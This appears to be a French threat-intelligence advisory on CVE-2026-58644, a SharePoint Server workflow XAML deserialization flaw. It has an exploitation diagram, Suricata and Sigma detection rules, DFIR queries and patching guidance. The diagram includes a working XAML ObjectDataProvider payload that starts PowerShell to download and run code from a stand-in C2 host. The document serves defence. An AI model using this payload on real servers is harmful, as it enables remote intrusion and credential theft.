Aller au contenu

CVE-2026-58644 : exécution de code à distance dans Microsoft SharePoint Server via la désérialisation du récepteur d'événements de flux de travail

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DU MOTEUR DE FLUX SHAREPOINT

Cible : Microsoft SharePoint Server (Subscription Edition, 2019, 2016)
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 20 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 20 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 affiche 9.8. Le score de menace Hermes s'élève à 98 (CRITIQUE). L'alignement est direct : faisant suite aux vulnérabilités CVE-2026-50522 et CVE-2026-55040, cette faille cible la couche asynchrone des flux de travail (Workflows) et des récepteurs d'événements, garantissant une exécution de code arbitraire même lorsque des filtres de sécurité BDC ont été appliqués en façade.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-58644: Remote Code Execution in Microsoft SharePoint Server via Workflow Event Receiver DeserializationVULNÉRABILITÉ

Nœuds connectés : 2
Relations sortantes actives
→ affectsCOMPOSANTMicrosoft Windows & Windows Server
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Microsoft Windows & Windows Server documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

Les flux de travail SharePoint orchestrent les processus d’approbation documentaire, la publication de contenu et les politiques de cycle de vie au sein des intranets d’entreprise.

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-58644Référence CISA KEV
Composant vulnérableMicrosoft.SharePoint.Workflow.dllMoteur d’événements et de souscriptions aux flux de travail
Contexte de processusw3wp.exe / SPUCWorkerProcess.exeCompte de service du pool d’applications SharePoint
Vecteur réseauHTTP/HTTPS (Port TCP 80, 443)Requêtes entrantes vers l’API de services web SharePoint
Versions affectéesSharePoint Subscription Edition, 2019, 2016Déploiements SharePoint mondiaux sur site
Versions corrigéesMises à jour de sécurité Microsoft MSRC (Septembre 2026)Correctif officiel Windows Update
Profil des attaquantsGroupes de cyberespionnage et opérateurs de rançongicielsExécution RCE chaînée post-authentification ou via spoofing JWT

2. Décomposition technique : désérialisation XAML & NetDataContractSerializer

Section intitulée « 2. Décomposition technique : désérialisation XAML & NetDataContractSerializer »

A. Désérialisation insécurisée des paramètres d’événements

Section intitulée « A. Désérialisation insécurisée des paramètres d’événements »

Lors du déclenchement d’un événement de flux de travail, SharePoint extrait les paramètres contextuels fournis par le client. La méthode vulnérable fait appel à XamlReader.Load() sans restreindre les types XML autorisés via un filtre XamlReaderSettings dédié :

// Représentation décompilée de la désérialisation d'événement vulnérable
public static object UnpackEventPayload(string rawXmlPayload) {
StringReader stringReader = new StringReader(rawXmlPayload);
XmlReader xmlReader = XmlReader.Create(stringReader);
// ANOMALIE : XamlReader permet l'instanciation de classes Process via ObjectDataProvider
return XamlReader.Load(xmlReader);
}
+----------------------------------------------------------------------------------------------------+
| ARCHITECTURE D'EXPLOITATION CVE-2026-58644 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant]
│
│ [1] Émet une charge utile XAML forgée vers /_vti_bin/Workflow.asmx
│ Contenant :
│ <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
│ xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
│ xmlns:diag="clr-namespace:System.Diagnostics;assembly=System">
│ <ObjectDataProvider x:Key="cmd" ObjectType="{x:Type diag:Process}" MethodName="Start">
│ <ObjectDataProvider.MethodParameters>
│ <x:String>powershell.exe</x:String>
│ <x:String>-c "iex (New-Object Net.WebClient).DownloadString('http://c2/s')"</x:String>
│ </ObjectDataProvider.MethodParameters>
│ </ObjectDataProvider>
│ </ResourceDictionary>
▼
[Microsoft IIS / SharePoint w3wp.exe]
│
├───► 1. Service ASMX des Flux de Travail :
│ - Relaie la charge XML vers UnpackEventPayload()
│
├───► 2. Analyse par XamlReader :
│ - Reconstitue l'arbre XML et résout l'élément ObjectDataProvider
│ - Invoque automatiquement la méthode "Start" sur System.Diagnostics.Process
│
▼
[Exécution Non Restreinte de Commandes]
│
└───► Démarrage de powershell.exe avec les privilèges du compte de service :
- Injection d'un agent C2 en mémoire vive
- Extraction des identifiants de la base de données de configuration
- Altération des politiques de confiance des assemblies SharePoint
+----------------------------------------------------------------------------------------------------+

3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature

Section intitulée « 3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature »
  • Inclusion CISA KEV : ajoutée en priorité absolue après avoir été détectée dans plusieurs intrusions ciblant le secteur bancaire et les sous-traitants de la défense.
  • Évolution des charges utiles : abandon des web shells classiques écrits sur disque au profit de techniques d’injection directe en mémoire vive via le CLR .NET, déjouant les antivirus de fichiers et les solutions EDR.

TactiqueID TechniqueNom de la TechniqueManifestation dans l’Attaque
Accès initialT1190Exploitation d’application publiqueEnvoi d’une charge utile XAML aux points d’entrée ASMX
ExécutionT1059.001Interpréteur de commandes et scripts : PowerShellCréation d’un processus PowerShell via ObjectDataProvider
Évasion de défenseT1027Fichiers ou informations compressés ou obfusquésEncodage Base64 et encapsulation XML des gadgets de désérialisation
PersistanceT1505.003Composant logiciel serveur : Web ShellInjection de gestionnaires d’événements résidents en mémoire

alert http any any -> $SHAREPOINT_SERVERS any (
msg:"HERMES DEFENSE - Tentative de deserialisation XAML Workflow SharePoint (CVE-2026-58644)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/Workflow.asmx";
http.request_body; content:"ObjectDataProvider";
http.request_body; content:"System.Diagnostics";
classtype:web-application-attack;
sid:202658644;
rev:1;
reference:cve,2026-58644;
)
title: Désérialisation XAML suspecte par le worker de flux de travail SharePoint
id: 3b2a1c0d-9e8f-4a7b-6c5d-58644c026e02
status: high
description: Détecte la création de processus anormaux issus du processus worker SharePoint ou de w3wp.exe signalant une exploitation par désérialisation XAML.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: windows
category: process_creation
detection:
selection_parent:
ParentImage|endswith:
- '\w3wp.exe'
- '\SPUCWorkerProcess.exe'
selection_child:
Image|endswith:
- '\powershell.exe'
- '\cmd.exe'
- '\cscript.exe'
condition: selection_parent and selection_child
falsepositives:
- Actions de flux de travail d'entreprise exécutant légitimement des commandes système.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.001

6. Réponse à incident & rétro-ingénierie (DFIR)

Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »
  1. Contrôle des événements Sysmon ID 1 (création de processus) :
    Fenêtre de terminal
    Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
    Where-Object { $_.Message -match "SPUCWorkerProcess.exe|w3wp.exe" }
  2. Revue de l’historique des flux de travail :
    • Inspecter l’Administration Centrale -> Surveillance -> État d’intégrité des flux de travail.
  3. Examen des requêtes W3C IIS :
    • Filtrer les requêtes POST adressées à /Workflow.asmx contenant des corps de message XML avec ObjectDataProvider.
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "wildcard": { "url.path": "*Workflow.asmx*" } },
{ "wildcard": { "http.request.body.content": "*ObjectDataProvider*" } }
]
}
}
}

  1. Déploiement du correctif cumulatif Microsoft : installer la mise à jour de sécurité cumulée de septembre 2026 pour SharePoint Server.
  2. Désactivation des flux hérités SharePoint 2010/2013 : si non indispensables aux métiers, désactiver le sous-système de flux de travail hérité :
    Fenêtre de terminal
    Disable-SPFeature -Identity "WorkflowServiceStore" -Url "http://sharepoint.corp"
  3. Mise en œuvre d’un contrôle applicatif strict : configurer Windows Defender Application Control (WDAC) ou AppLocker afin d’interdire à w3wp.exe d’exécuter des interpréteurs de commandes (cmd.exe, powershell.exe).
  4. Cloisonnement des comptes de service : vérifier que les comptes de service de la batterie SharePoint n’appartiennent à aucun groupe administrateur du domaine Active Directory.